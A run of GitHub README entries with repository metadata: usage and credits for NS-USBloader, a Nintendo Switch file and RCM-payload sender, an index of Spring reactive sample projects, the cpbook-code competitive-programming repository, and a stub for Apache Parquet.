(at your option) any later version. #### Used libraries & resources * [OpenJFX](https://wiki.openjdk.java.net/display/OpenJFX/Main) * [usb4java](https://mvnrepository.com/artifact/org.usb4java/usb4java) * Few icons taken from: [materialdesignicons.com](http://materialdesignicons.com/) * Information, ideas and data from ['fusee-launcher'](https://github.com/reswitched/fusee-launcher) application * [Apache Commons CLI](https://commons.apache.org/proper/commons-cli/) ### List of awesome code contributors, translators and other great people! * [Pablo Curiel (DarkMatterCore)](https://github.com/DarkMatterCore) * [wolfposd](https://github.com/wolfposd) * [agungrbudiman](https://github.com/agungrbudiman) * Perfect algorithms and great examples taken from mrdude project [mrdude2478/IPS_Patch_Creator](https://github.com/mrdude2478/IPS_Patch_Creator/) * French by [Stephane Meden (JackFromNice)](https://github.com/JackFromNice) * Italian by [unbranched](https://github.com/unbranched) * Korean by [DDinghoya](https://github.com/DDinghoya) * Portuguese by [almircanella](https://github.com/almircanella) * Spanish by [/u/cokimaya007](https://www.reddit.com/u/cokimaya007), [Kuziel Alejandro](https://github.com/Uzi-Oni) * Chinese (Simplified) by [Huang YunKun (htynkn)](https://github.com/htynkn), [FFT9 (XXgame Group)](http://xxgame.net/) * Chinese (Traditional) by [qazrfv1234](https://github.com/qazrfv1234), [FFT9 (XXgame Group)](http://xxgame.net/) * German by [Swarsele](https://github.com/Swarsele) * Vietnamese by [Hai Phan Nguyen (pnghai)](https://github.com/pnghai) * Czech by [Spenaat](https://github.com/spenaat) * Arabic by [eslamabdel](https://github.com/eslamabdel) * Romanian by [Călin Ilie](https://github.com/calini) * Swedish by [Daniel Nylander](https://github.com/yeager) * Japanese by [kuragehime](https://github.com/kuragehimekurara1) * Ryukyuan languages by [kuragehime](https://github.com/kuragehimekurara1) * Angelo Elias Dalzotto makes packages in AUR * Phoenix[Msc] provides his shiny Mac M1 for debug ### System requirements - JDK 11 for macOS and Linux - libusb, if you have a Mac with Apple Silicon (install via `brew install libusb`) ### Supported Goldleaf versions | Goldleaf version | NS-USBloader version | |------------------|----------------------| | v0.5 | v0.4 - v0.5.2, v0.8+ | | v0.6 | none | | v0.6.1 | v0.6 | | v0.7 - 0.7.3 | v0.7+ | | v0.8 - 0.9 | v1.0+ | | v0.10 | v6.0+ | where '+' means 'any next NS-USBloader version'. ### Awoo Installer and compatible applications support Awoo Installer uses the same command-set (or 'protocol') to [Adubbz/Tinfoil](https://github.com/Adubbz/Tinfoil/). A lot of other forks/apps uses the same command-set. To stop speculating about the name it's now called 'Awoo'. It WAS called 'TinFoil' before. Not any more. ### Usage ##### Linux: 1. Install JRE/JDK 8u60 or higher (openJDK is good. Oracle's one is also good). JavaFX not needed (it's embedded). 2. `root # java -jar /path/to/NS-USBloader.jar` 3. Optional: add user to 'udev' rules to use NS not-from-root-account ``` root # vim /etc/udev/rules.d/99-NS.rules SUBSYSTEM=="usb", ATTRS{idVendor}=="057e", ATTRS{idProduct}=="3000", MODE="0666" root # udevadm control --reload-rules && udevadm trigger ``` 4. For RCM part ``` root # vim /etc/udev/rules.d/99-NS-RCM.rules SUBSYSTEM=="usb", ATTRS{idVendor}=="0955", ATTRS{idProduct}=="7321", MODE="0666" root # udevadm control --reload-rules && udevadm trigger ``` 5. For HiDPI use scaling like `java -Dglass.gtk.uiScale=150% -jar application.jar` ##### Raspberry Pi 1. Install JDK: `sudo apt install default-jdk` 2. For UI install JavaFX: `sudo apt install openjfx` 3. See steps 3 and 4 from 'Linux' section to update 'udev'. ##### macOS Double-click on downloaded .jar file. Follow instructions. Or see 'Linux' section. Set 'Security & Privacy' settings if needed. *Please note: JDK 19 is recommended for using on macOS. There are issues already reported from users on Mac with JDK 14.* ##### macOS on Apple Silicon (ARM) Download application with `-m1.jar` postfix. Manually install libusb with Homebrew by running `brew install libusb` in your Terminal. ##### Windows: * Once application opens click on 'Gear' icon. * Click 'Download and install drivers' * Install drivers #### And how to use it? The first thing you should do it install Awoo ([Huntereb](https://github.com/Huntereb/Awoo-Installer)) or Goldleaf ([XorTroll](https://github.com/XorTroll/Goldleaf)) on your NS. Take a look on app, find where is the option to install from USB and/or Network. Maybe (very old) [this article (about TinFoil)](https://developersu.blogspot.com/2019/02/ns-usbloader-en.html) will be helpful. #### In details There are three tabs. First one is main. ##### 'Gamepad' tab. At the top of you selecting from drop-down application and protocol that you're going to use. For Goldleaf only USB is available. Lamp icon stands for switching themes (light or dark). Then you may drag-n-drop files (split-files aka folders) to application or use 'Select NSP files' button. Multiple selection for files available. Click it again and select files from another folder it you want, it will be added into the table. Table. There you can select checkbox for files that will be sent to application (AW/GL). ~~Since Goldleaf v0.5 allow you only one file transmission per time, only one file is available for selection.~~ Also, you can use space to select/un-select files and 'delete' button for deleting. By right-mouse-click you can see context menu where you can delete one OR all items from the table. For Goldleaf v0.6.1 and NS-USBloader v0.6 (and higher) you will have to use 'Explore content' -> 'Remote PC (via USB)' You will see two drives HOME:/ and VIRT:/. First drive is pointing to your home directory. Second one is reflection of what you've added to table (first application tab). Also VIRT:/ drive have limited functionality in comparison to HOME:/. E.g. you can't write files to this drive since it's not a drive. But don't worry, it won't make any impact on Goldleaf or your NS if you try. Also, for Goldleaf write files (from NS to PC): You have to 'Stop execution' properly before accessing files transferred from GL. Usually you have to wait 5sec or less. It will guarantee that your files properly written to PC. ##### 'RCM' tab On this tab you can select payloader like Hekate or LockPick_RCM and send it to NS. Drag-n-drop supported. Also some in-app validations for payload takes place ;) ##### 'Folder with arrows and zeroes' tab On this tab you can split and merge files. Select 'Split' or 'Merge' and split (or merge). BTW Drag-n-drop supported. ##### 'Gears' tab. Here you can configure settings for network file transmission. Usually you shouldn't change anything. But it you're cool hacker, go ahead! The most interesting option here is 'Don't serve requests'. Architecture of the Awoo's NET part is working interesting way. When you select in Awoo network NSP transfer, application will wait at port 2000 for the information about where should it take files from. Like '192.168.1.5:6060/my file.nsp'. Usually NS-USBloader serves requests by implementing simplified HTTP server and bringing it up and so on. But if this option selected, you can define path to remote location of the files. For example if you set in settings '192.168.4.2:80/ROMS/NS/' and add in table file 'my file.nsp' then NS-USBloader will simply tell Awoo "Hey, go take files from '192.168.4.2:80/ROMS/NS/my%20file.nsp' ". Of course you have to bring '192.168.4.2' host up and make file accessible from such address (just go install nginx). As I said, this feature is interesting, but I guess won't be popular. Also here you can: * Set 'Auto-check for updates' for checking for updates when application starts, or click button to verify if new version released immediately. * Set 'Show only *.nsp in Goldleaf' to filter all files displayed at HOME:/ drive. So only NSP files will appear. ##### 'Dialog with three dots' tab. That's where all logs dropped. Verbose information about transmissions comes here. ##### CLI (command line interface) To get help run ``$ java -jar ns-usbloader-4.0.jar --help`` ``` -c,--clean Remove/reset settings and exit -g,--Goldleaf <...> Install via Goldleaf mode. Check '-g help' for information. -h,--help Show this help -m,--merge <...> Merge files. Check '-m help' for information. -n,--tfn <...> Install via Awoo Network mode. Check '-n help' for information. -r,--rcm <[PATH/]payload.bin> Send payload -s,--split <...> Split files. Check '-s help' for information. -t,--tinfoil <FILE...> Install via Awoo USB mode. -v,--version Show application version ``` For more complex commands help use help argument after the fists key. For example: ``` $ java -jar ns-usbloader-4.0.jar -n help Usage: ns-usbloader -n nsip=<arg1> [hostip=<arg2>] FILE1 ... ns-usbloader --tfn nsip=<arg1> [hostip=<arg2>] FILE1 ... Options: nsip=<ip> Define NS IP address (mandatory) hostip=<ip[:port]> Define this host IP address. Will be obtained automatically if not set. ``` Usage examples: ``` Send RCM payload: $ java -jar ns-usbloader-4.0.jar -r C:\Users\Superhero\hekate.bin Send files to Awoo Installer via Net-install: $ java -jar ns-usbloader-4.0.jar -n nsip=192.168.0.1 ./file.nsz ./file.nsp ~/*.xci Send files to Goldleaf v0.8: $ java -jar ns-usbloader-4.0.jar -g ver=v0.8 ./* Split files: $ java -jar ns-usbloader-4.0.jar -s /tmp/ ~/*.nsp Merge files: $ java -jar ns-usbloader-4.0.jar -m /tmp/ ~/*.nsp ``` ### Other notes 'Status' = 'Uploaded' that appears in the table does not mean that file has been installed. It means that it has been sent to NS without any issues! That's what this app about. Handling successful/failed installation is a purpose of the other side application: Awoo/Awoo-like or Goldleaf. And they don't provide any feedback interfaces so I can't detect success/failure. #### What is this '-legacy' jar?! **JAR with NO postfixes** recommended for Windows users, Linux users and macOS users who're using Mojave or later versions. **JAR with '-legacy' postfix** is for macOS users who're still using OS X releases before (!) Mojave. (It also works for Linux and for Windows, but sometimes it doesn't work for Windows and I don't know why). We have this situation because of weird behaviour inside usb4java library used in this application for USB interactions. In '-legacy' it's v1.2.0 and in 'normal' it's v1.3.0 ### Translators! If you want to see this app translated to your language, go grab [this file](https://github.com/developersu/ns-usbloader/blob/master/src/main/resources/locale.properties) and translate it. Upload somewhere (create PR, use pastebin/google drive/whatever else). [Create new issue](https://github.com/developersu/ns-usbloader/issues) and post a link. I'll grab it and add. To convert files of any locale to readable format (and vise-versa) you can use this site [https://itpro.cz/juniconv/](https://itpro.cz/juniconv/) ## Support this app If you like this app, just give a star (@ GitHub). This is non-commercial project. Nevertheless, I'll be more than happy if you find a chance to make a donation for charity to people I trust: * BTC → 1BnErE3n6LEdEjvvFrt4FMdXd1UGa5L7Ge * ETH → 0x9c29418129553bE171181bb6245151aa0576A3b7 * DOT → 15BWSwmA4xEHZdq3gGftWg7dctMQk9vXwqA92Pg22gsxDweF * LTC → ltc1qfjvzxm04tax077ra9rvmxdnsum8alws2n20fag * ETC → 0xe9064De288C8454942533a005AB72515e689226E * USDT (TRC20) → TKgp5SvJGiqYNFtvJfEDGLFbezFEHq1tBy * USDT (ERC20) → 0x9c29418129553bE171181bb6245151aa0576A3b7 * XRP → rGmGaLsKmSUbxWfyi4mujtVamTzj3Nqxbw. Thanks! Appreciate assistance and support of both [Vitaliy](https://github.com/SebastianUA) and [Konstantin](https://github.com/konstantin-kelemen). Without you all this magic would not have happened.
0
hantsy/spring-reactive-sample
Spring 5/6 Reactive playground
kotlin reactive-streams reactor rxjava rxjava2 rxjava3 spring spring-boot spring-data spring-data-cassandra spring-data-couchbase spring-data-elasticsearch spring-data-mongodb-reactive spring-data-neo4j spring-data-r2dbc spring-data-redis spring-security spring-session spring-webflux
# Spring Reactive Sample This is a sandbox project for demonstrating [Reactive Streams](https://www.reactive-streams.org/) support in Spring framework and Spring ecosystem. *I've also maintained a series of repos related to ReativeStreams and the latest Spring 5*. * [Spring RSocket Sample](https://github.com/hantsy/rsocket-sample) * [Spring Kotlin Coroutines Example](https://github.com/hantsy/spring-kotlin-coroutines-sample) * [Spring Kotlin DSL/Spring Fu Sample](https://github.com/hantsy/spring-kotlin-dsl-sample) * [Spring WebMvc Functional Example](https://github.com/hantsy/spring-webmvc-functional-sample) * [Angular and Spring Reactive Example](https://github.com/hantsy/angular-spring-reactive-sample) * [Spring R2dbc Example](https://github.com/hantsy/spring-r2dbc-sample)(updates for *Spring 5.3, Spring Data R2dbc 1.2 and Spring Boot 2.4*) >The source codes are updated to **Spring 6/Spring Boot 3.0**, the Spring Boot 2.7.x based codes are available in [a compressed archive](https://github.com/hantsy/spring-reactive-sample/archive/refs/tags/v1.0.zip) and tagged with [v1.0](https://github.com/hantsy/spring-reactive-sample/releases/tag/v1.0). ## Docs Read online: [https://hantsy.github.io/spring-reactive-sample/](https://hantsy.github.io/spring-reactive-sample/) ## Sample Codes The following table list all sample codes related to the above posts. ### Spring Samples | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [vanilla](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla) | The initial application, includes basic `spring-webflux` feature, use a main class to start up the application | | [vanilla-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-reactor-netty2) | Same as **vanilla**, but use Reactor Netty5 2.x as target runtime | | [vanilla-jetty](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-jetty) | Same as **vanilla**, but use Jetty as target runtime | | [vanilla-tomcat](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-tomcat) | Same as **vanilla**, but use Reactor Netty as target runtime | | [vanilla-undertow](https://github.com/hantsy/spring-reactive-sample/tree/master/vanilla-undertow) | Same as **vanilla**, but use Undertow as target runtime | | [java8](https://github.com/hantsy/spring-reactive-sample/tree/master/java8) | Java 8 `CompletableFuture` and `@Async` example | | [java9](https://github.com/hantsy/spring-reactive-sample/tree/master/java9) | Same as **vanilla**, Java 9 Flow API support is not ready in Spring 5.0.0.REALESE, planned in 5.0.1, see issue [SPR-16052](https://jira.spring.io/browse/SPR-16052) and the original [discussion on stackoverflow](https://stackoverflow.com/questions/46597924/spring-5-supports-java-9-flow-apis-in-its-reactive-feature/46605983#46605983) | | [rxjava3](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava3) | Same as **vanilla**, but use Rxjava3 instead of Reactor, since Spring 5.3.0 | | [smallrye-mutiny](https://github.com/hantsy/spring-reactive-sample/tree/master/smallrye-mutiny) | Same as **vanilla**, but use [SmallRye Mutiny](https://smallrye.io/smallrye-mutiny) instead of Reactor, since Spring 5.3.10 | | [war](https://github.com/hantsy/spring-reactive-sample/tree/master/war) | Replace the manual bootstrap class in **vanilla** with Spring `ApplicationInitializer`, it can be packaged as a **war** file to be deployed into an external servlet container. | | [routes](https://github.com/hantsy/spring-reactive-sample/tree/master/routes) | Use `RouterFunction` instead of controller in **vanilla** | | [register-bean](https://github.com/hantsy/spring-reactive-sample/tree/master/register-bean) | Programmatic approach to register all beans in `ApplicatonContext` at the application bootstrap | | [data-elasticsearch](https://github.com/hantsy/spring-reactive-sample/tree/master/data-elasticsearch) | Spring Data ElasticSearch Reactive example | [data-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/data-neo4j) | Spring Data Neo4j reactive example | | [data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo) | Spring Data Mongo Reactive example | | [data-mongo-pageable](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo-pageable) | Spring Data Mongo Reactive example with pagination support | | [data-mongo-transaction](https://github.com/hantsy/spring-reactive-sample/tree/master/data-mongo-transaction) | Spring Data Mongo Reactive example with `Transaction` support | | [data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/data-redis) | Spring Data Redis Reactive example | | [data-redis-message](https://github.com/hantsy/spring-reactive-sample/tree/master/data-redis-message) | Spring Data Redis Reactive Example with `ReactiveRedisMessageListenerContainer` | | [data-cassandra](https://github.com/hantsy/spring-reactive-sample/tree/master/data-cassandra) | Spring Data Cassandra Reactive example | | [data-couchbase](https://github.com/hantsy/spring-reactive-sample/tree/master/data-couchbase) | Spring Data Couchbase Reactive example | | [security](https://github.com/hantsy/spring-reactive-sample/tree/master/security) | Based on **vanilla**, add Spring Security Reactive support | | [security-form](https://github.com/hantsy/spring-reactive-sample/tree/master/security-form) | Same as security, login form example | | [security-user-properties](https://github.com/hantsy/spring-reactive-sample/tree/master/security-user-properties) | Same as security, but use *users.properties* to store users | | [security-method](https://github.com/hantsy/spring-reactive-sample/tree/master/security-method) | Replace URI based configuration with method level constraints | | [security-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/security-data-mongo) | Based on **data-mongo** and **security**, replace with dummy users in hard codes with Mongo driven store | | [multipart](https://github.com/hantsy/spring-reactive-sample/tree/master/multipart) | Multipart request handling and file uploading | | [multipart-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/multipart-data-mongo) | Multipart and file uploading, but data in Mongo via Spring Data Mongo Reactive `GridFsTemplate` | | [mvc-thymeleaf](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-thymeleaf) | Traditional web application, use Thymeleaf as template engine | | [mvc-mustache](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-mustache) | Traditional web application, use Mustache as template engine | | [mvc-freemarker](https://github.com/hantsy/spring-reactive-sample/tree/master/mvc-freemarker) | Traditional web application, use freemarker as template engine | | [sse](https://github.com/hantsy/spring-reactive-sample/tree/master/sse) | Server Send Event example | | [websocket](https://github.com/hantsy/spring-reactive-sample/tree/master/websocket) | WebSocket example | | [websocket-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/websocket-reactor-netty2) | WebSocket example with Reactor Netty2 | | [web-filter](https://github.com/hantsy/spring-reactive-sample/tree/master/web-filter) | `WebFilter` example | | [groovy](https://github.com/hantsy/spring-reactive-sample/tree/master/groovy) | Written in groovy | | [groovy-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/groovy-dsl) | Groovy DSL bean definition example | | [client](https://github.com/hantsy/spring-reactive-sample/tree/master/client) | Example of `WebClient` to shake hands with backend reactive APIs | | [client-jetty](https://github.com/hantsy/spring-reactive-sample/tree/master/client-jetty) | Example of `WebClient` with Jetty Reactive HttpClient | | [client-reactor-netty2](https://github.com/hantsy/spring-reactive-sample/tree/master/client-reactor-netty2) | Example of `WebClient` with Reactor Netty5 2.x HttpClient | | [client-jdk11-httpclient](https://github.com/hantsy/spring-reactive-sample/tree/master/client-jdk11-httpclient) | Example of `WebClient` with JDK 11 HttpClient | | [client-apache-httpclient5](https://github.com/hantsy/spring-reactive-sample/tree/master/client-apache-httpclient5) | Example of `WebClient` with Apache HttpClient5 | | [cache](https://github.com/hantsy/spring-reactive-sample/tree/master/cache) | Example of Cache Aync/Reactive support(with in-memory `ConcurrentHashMap`) | | [cache-caffeine](https://github.com/hantsy/spring-reactive-sample/tree/master/cache-caffeine) | Example of Cache Aync/Reactive support with Caffeine | | [cache-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/cache-redis) | Example of Cache Aync/Reactive support with Redis | | [event](https://github.com/hantsy/spring-reactive-sample/tree/master/event) | Application Event Reactive Example | [kotlin](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin) | Written in kotlin | | [kotlin-co](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-co) | Written in kotlin Coroutines | | [kotlin-routes](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-routes) | Use kotlin functional approach to declare beans and bootstrap the application programmatically | | [kotlin-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/kotlin-dsl) | Kotlin DSL bean definition example | | [schedule](https://github.com/hantsy/spring-reactive-sample/tree/master/schedule) | Spring Schedule Reactive Example | | [session](https://github.com/hantsy/spring-reactive-sample/tree/master/session) | Spring Session Example | | [session-header](https://github.com/hantsy/spring-reactive-sample/tree/master/session-header) | Spring Session `WebSessionIdResolver` Example | | [session-data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/session-data-redis) | Spring Data Redis based `ReactiveSessionRepository` Example | | [session-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/session-data-mongo) | Spring Data Mongo based `ReactiveSessionRepository` Example | | [exception-handler](https://github.com/hantsy/spring-reactive-sample/tree/master/exception-handler) | Exception Handler Example | | [integration](https://github.com/hantsy/spring-reactive-sample/tree/master/integration) | Spring Integration Example | | [integration-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/integration-dsl) | Spring Integration Java 8 DSL Example | | [restdocs](https://github.com/hantsy/spring-reactive-sample/tree/master/restdocs) | Spring RestDocs Example | ### Spring Boot Samples | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [boot-start](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-start) | Spring Boot example, including 3 Maven profiles to switch to Jetty, Tomcat, Undertow as target runtime | | [boot-start-routes](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-start-routes) | Simple `RouterFunction` example | | [boot-mvc-thymeleaf](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-thymeleaf) | Same as mvc-thymeleaf, but based on Spring Boot | | [boot-mvc-mustache](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-mustache) | Same as mvc-mustache, but based on Spring Boot | | [boot-mvc-freemarker](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-mvc-freemarker) | Same as mvc-freemarker, but based on Spring Boot | | [boot-groovy](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-groovy) | Written in Groovy | | [boot-kotlin](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin) | Written in Kotlin | | [boot-kotlin-co](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-co) | Written in Kotlin Coroutines | | [boot-kotlin-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-dsl) | Kotlin specific `BeanDefinitionDSL` and `RouterFunctionDsl` Example | | [boot-kotlin-co-dsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-kotlin-co-dsl) | Kotlin specific `BeanDefinitionDSL`, `CoRouterFunctionDsl` Example | | [boot-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-redis) | Example of using `ReactiveRedisConnection` and `RouterFunction` | | [boot-data-redis](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-redis) | Spring Data Redis Example | | [boot-data-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-neo4j) | Spring Data Neo4j example (Spring Boot 2.4) | | [boot-neo4j](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-neo4j) | Spring Data Neo4j using `ReactiveNeo4jOperations` (Spring Boot 2.4) | | [boot-neo4j-cypher](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-neo4j-cypher) | Spring Data Neo4j using `ReacitveNeo4jClient` (Spring Boot 2.4) | | [boot-data-cassandra](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-cassandra) | Spring Data Cassandra Example | | [boot-data-couchbase](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-couchbase) | Spring Data Couchbase Example | | [boot-data-elasticsearch](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-elasticsearch) | Spring Data ElasticSearch Example | | [boot-data-mongo](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo) | Spring Data Mongo Example(Repository, Auditing, testcontainers) | | [boot-data-mongo-querydsl](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-querydsl) | Spring Data Mongo Example with QueryDSL support | | [boot-data-mongo-gridfs](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-gridfs) | Spring Data Mongo Example with Gridfs support | | [boot-data-mongo-tailable](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-data-mongo-tailable) | Spring Data Mongo tailable document example | | [boot-exception-handler](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-exception-handler) | Global Exception Handler | | [boot-pulsar](https://github.com/hantsy/spring-reactive-sample/tree/master/boot-pulsar) | Spring for Pulsar Reactive Example | ### Legacy Codes Some example codes are becoming deprecated as time goes by, eg. the [SDN Rx project](https://github.com/neo4j/sdn-rx) which was maintained by the Neo4j team is discontinued now, it is highly recommended to migrate to the official [Spring Data Neo4j](https://github.com/spring-projects/spring-data-neo4j). And Spring Data R2dbc 1.2 added a lot of breaking changes, so I created another [Spring R2dbc Sample repository](https://github.com/hantsy/spring-r2dbc-sample) to introduce the new features. Spring [removed support of RxJava/RxJava2](https://github.com/spring-projects/spring-framework/issues/27443), and other projects, such as Spring Data will remove RxJava/RxJava2 support soon. | name | description | | :----------------------------------------------------------- | ------------------------------------------------------------ | | [data-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/data-r2dbc) | Spring Data R2dbc Example. (*Deprecated*, go to [hantsy/spring-r2dbc-sample](https://github.com/hantsy/spring-r2dbc-sample) to update yourself) | | [data-r2dbc-postgresql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/data-r2dbc-postgresql) | Spring Data R2dbc Example, but use PostgreSQL instead(*Deprecated*) | | [boot-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-r2dbc) | Spring Data R2dbc example using `DatabaseClient`(*Deprecated*) | | [boot-data-r2dbc](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc) | Spring Data R2dbc example(*Deprecated*) | | [boot-data-r2dbc-auditing](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-auditing) | `@EnableR2dbcAuditing` example(*Deprecated*) | | [boot-data-r2dbc-postgresql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-postgresql) | Same as boot-data-r2dbc, but use PostgresSQL instead(*Deprecated*) | | [boot-data-r2dbc-mysql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-mysql) | Same as boot-data-r2dbc, but use MySQL instead(*Deprecated*) | | [boot-data-r2dbc-mssql](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-r2dbc-mssql) | Same as boot-data-r2dbc, but use MS SQL instead(*Deprecated*) | | [boot-neo4j-rx](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-neo4j-rx) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example but use `ReactiveNeo4jClient`(*Deprecated*) | | [boot-neo4j-rx-cypher](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-neo4j-rx-cypher) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example using Cypher queries(*Deprecated*) | | [boot-data-neo4j-rx](https://github.com/hantsy/spring-reactive-sample/tree/master/legacy/boot-data-neo4j-rx) | [SDN Rx](https://github.com/neo4j/sdn-rx) Example(*Deprecated*) | | [rxjava](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava) | Same as **vanilla**, but use Rxjava instead of Reactor | | [rxjava-jdbc](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava-jdbc) | Accessing database with rxjava-jdbc. **NOTE: rxjava-jdbc is a wrapper of blocking Jdbc APIs** | | [rxjava2](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava2) | Same as **vanilla**, but use Rxjava2 instead of Reactor | | [rxjava2-jdbc](https://github.com/hantsy/spring-reactive-sample/tree/master/rxjava2-jdbc) | Accessing database with rxjava2-jdbc. **NOTE: rxjava2-jdbc is a wrapper of blocking Jdbc APIs** | ## References * [Reactive Streams](http://www.reactive-streams.org/), official Reactive Streams website * [Understanding Reactive types](https://spring.io/blog/2016/04/19/understanding-reactive-types), Spring.IO * [The WebFlux framework](http://docs.spring.io/spring-framework/docs/5.0.x/spring-framework-reference/web.html#web-reactive), Spring Framework Reference Documentation * [Reactor Core 3.0 becomes a unified Reactive Foundation on Java 8](https://spring.io/blog/2016/03/11/reactor-core-3-0-becomes-a-unified-reactive-foundation-on-java-8), Spring.IO * [Reactive Spring](https://spring.io/blog/2016/02/09/reactive-spring), Spring.IO * Three parts of **Notes on Reactive Programming** by Dave Syer: * [Notes on Reactive Programming Part I: The Reactive Landscape](https://spring.io/blog/2016/06/07/notes-on-reactive-programming-part-i-the-reactive-landscape) * [Notes on Reactive Programming Part II: Writing Some Code](https://spring.io/blog/2016/06/13/notes-on-reactive-programming-part-ii-writing-some-code) * [Notes on Reactive Programming Part III: A Simple HTTP Server Application](https://spring.io/blog/2016/07/20/notes-on-reactive-programming-part-iii-a-simple-http-server-application) * [Reactive Programming in the Netflix API with RxJava](https://medium.com/netflix-techblog/reactive-programming-in-the-netflix-api-with-rxjava-7811c3a1496a) * [Reactor by Example](https://www.infoq.com/articles/reactor-by-example) * [New in Spring 5: Functional Web Framework](https://spring.io/blog/2016/09/22/new-in-spring-5-functional-web-framework) * [Spring WebFlux: First Steps ](https://dzone.com/articles/spring-webflux-first-steps) * [Spring-Reactive Example REST Application ](https://dzone.com/articles/spring-reactive-samples) * [Spring 5 WebFlux and JDBC: To Block or Not to Block ](https://dzone.com/articles/spring-5-webflux-and-jdbc-to-block-or-not-to-block) * [Reactive Spring 5 and Application Design Impact](https://dzone.com/articles/reactive-spring-5-and-application-design-impact) * [From Java To Kotlin - Your Cheat Sheet For Java To Kotlin ](https://github.com/MindorksOpenSource/from-java-to-kotlin) * [From Java to Kotlin](https://fabiomsr.github.io/from-java-to-kotlin/index.html) * [Petclinic: Spring 5 reactive version](https://github.com/ssouris/petclinic-spring5-reactive/) * [Spring Framework 5 Kotlin APIs, the functional way](https://spring.io/blog/2017/08/01/spring-framework-5-kotlin-apis-the-functional-way) * [Kotlin extensions for MongoOperations and ReactiveMongoOperations ](https://github.com/spring-projects/spring-data-mongodb/commit/2359357977e8734331a78c88e0702f50f3a3c75e) * [Reactive systems using Reactor](http://musigma.org/java/2016/11/21/reactor.html) * [Lite Rx API Hands-On with Reactor Core 3 ](https://github.com/reactor/lite-rx-api-hands-on) * [reactor-kotlin-workshop](https://github.com/eddumelendez/reactor-kotlin-workshop) ## Special Thanks Specials thanks for Jetbrains's support by contributing an open-source license. [<img src="./jetbrains.png" height="250px" width="250px"/>](https://www.jetbrains.com/?from=spring-reactive-sample)
0
stevenhalim/cpbook-code
CP4 Free Source Code Project (C++17, Java11, Python3 and OCaml)
null
# cpbook-code CP4 Free Source Code Project (cpp/gnu++17, java/java11, py/python3, and ml/ocaml). This repo is expected to be much more up-to-date than CP4 itself, that will go out to public on 19 July 2020. All code in this repo are mostly (reasonably good, hopefully :) implementation of many well-known data structures and algorithms, so you are free to copy, adapt, use the code (in your next programming contest or any other coding project). Note to Computer Science educators worldwide: please include all the code discussed here in your plagiarism checker system as "excluded". Please do NOT test your students to just (re-)code these basic data structures/algorithms verbatim as that is just reinventing the wheel. Please test them with higher order thinking questions/problems that use these code instead. We will be thankful if you cite us (Steven Halim, Felix Halim, Suhendry Effendy) when you use code in this repo. This license is probably the most suitable: https://opensource.org/licenses/UPL
0
apache/parquet-mr
Apache Parquet
big-data java parquet
